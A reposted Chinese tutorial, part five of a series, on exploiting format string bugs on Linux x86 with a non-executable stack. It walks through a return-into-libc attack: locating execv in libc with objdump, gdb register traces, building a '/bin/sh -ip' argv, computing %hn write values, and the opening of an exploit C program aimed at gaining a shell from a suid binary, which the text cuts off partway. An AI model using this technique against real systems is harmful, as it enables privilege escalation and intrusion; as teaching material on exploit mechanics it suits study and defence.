分享
 
 
 

FormatString漏洞介绍/总结(五)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

4.关于 format string漏洞在non-exec stack linux x86上的应用.

这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:

1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.

2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.

3. 高级利用技术, 请参阅Phrack文摘.

当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.

参考vuln程序还是利用前面几章介绍的代码.

(1) 利用execv执行我们的代码.

我们来看execv的函数执行格式:

$man execv

EXEC(3) Linux Programmer's Manual EXEC(3)

NAME

execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS

#include <unistd.h

extern char **environ;

int execl(const char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg , ..., char * const

envp[]);

int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

DESCRIPTION

从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:

a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难

b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.

c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.

这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.

我们首先要知道几个地址:

a) execv在libc.so中的地址

b) 函数的返回地址

c) 我们的字符串在内存中的地址.

a,b, c等都可以轻松获得:

[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv

34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5

00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve

420ae650 l F .text 00000067 __execve

420ae9d0 l F .text 000002fc .hidden __GI_execvp

00000000 l d .gnu.warning.fexecve 00000000

420ae650 w F .text 00000067 execve

420ae6c0 g F .text 0000004d fexecve

420ae710 g F .text 00000039 execv

420ae9d0 g F .text 000002fc execvp

execv函数地址是0x 420ae710

我们来看看函数执行的时候返回地址在内存中存放的位置:

low addr--------------------------------- high addr

[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据

我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:

0x80485c9 <foo+57: add $0x10,%esp

0x80485cc <foo+60: leave

0x80485cd <foo+61: ret

Breakpoint 4, foo (

line=0xbffff6a0 "/* write to foo function return address and esp\n")

at vuln.c:57

57 }

(gdb) i reg eip

eip 0x80485cc 0x80485cc

(gdb) i reg esp

esp 0xbffff680 0xbffff680

(gdb) ni

0x080485cd in foo (line=0x2 <Address 0x2 out of bounds) at vuln.c:57

57 }

(gdb) i reg eip esp

eip 0x80485cd 0x80485cd

esp 0xbffff68c 0xbffff68c

/* leave指令:eip 指向下一个要执行的地址,esp+12 */

(gdb) ni

0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44

44 foo (line);

(gdb) i reg eip esp

eip 0x8048583 0x8048583

esp 0xbffff690 0xbffff690

/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */

/* esp=esp+4; */

注意,这里的esp=(原来的ret addr) +4,

也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:

low addr ----------------------------------------------------- high addr

[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxx]

↑ $eip ↑$esp

跳到新函数地址后:

low addr ------------------------------------- high addr

[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]

↑$esp

也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */

由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:( const char *path, char *const argv[])

所以在这里,我们需要写入三个地址:

[ret addr ] [ret addr+8] [retaddr+8+4]

假设我们想执行/bin/sh -ip的话, 那么

char *path="/bin/sh",

而char argv[]应该是:{"/bin/sh","-ip",NULL}

假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,

我们可以这样构造字符串:

"/bin/sh\x00-ip\x00"

这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;

这个时候我们可以来构造argv结构:

[_bin_sh_addr][_ip_addr][0x00000000]

↑argv addr

合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:

[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"

注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.

那么我们可以计算arg的地址 :):

_argv_addr=_bin_sh_addr-somepad-4*3

这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)

这个时候我们需要把下面几个地址写进堆栈里面:

execv函数的地址 写进 函数返回地址

_bin_sh_addr 写进 函数返回地址+8

_argv_addr 写进 函数返回地址+8+4

我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:

假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774

要写的数据:

0x420ae710 0xbffff780 0xbffff774

分别按16位拆开:

0x420a<0xbfff<0xe710<0xf774<0xf780

num1 num2 num3 num4 num5

再来看一下数据的构成(按照高位在后的原则:)

0x420ae710 0xbffff780 0xbffff774

num3 num1 num5 num2 num4 num2

假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):

那么上面可以重新排列一下:

0x420ae710 0xbffff780 0xbffff774

num3 num1 num5 num2 num4 num5

pad pad+1 pad+2 pad+3 pad+4 pad+5

好,我们可以构造一下数据:

假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:

num1-j 写到 pad+1处

num2-num1 写到 pad+3,pad+5处,

num3-num2 写到 pad处

num4-num3 写到 pad+4处

num5-num4 写到 pad+2处.

最后,我们构造的格式化字符串应该是这样的:

sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);

最后就可以给出我们的exploit了:

/* write to foo function return address and esp

* use execv for getting shell in the non-exec stack system

* coded by bkbll(bkbll@cnhokenr.net)

*/

#include <stdio.h

#include <stdlib.h

#include <strings.h

#include <sys/types.h

#include <sys/stat.h

#include <fcntl.h

#define want_write_addr 0xbffff6ac //foo return address

//#define want_write_addr2 0xbffff684 //esp address

#define pad 12 //pop esp value

#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0

#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv

#define BUFSIZE 200

char shellcode[]=

"/bin/sh\x00-ip\x00";

char *file="./4";

main(int argc,char **argv)

{

char buffer[BUFSIZE];

int j=0,i=0;

int shell_addr_pad=80;

int somechar=0;

int want_write_addr2 = want_write_addr+8;

int want_write_addr3 = want_write_addr+8+4;

int argvaddr; //= _bin_shaddr-somechar-4*3;

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有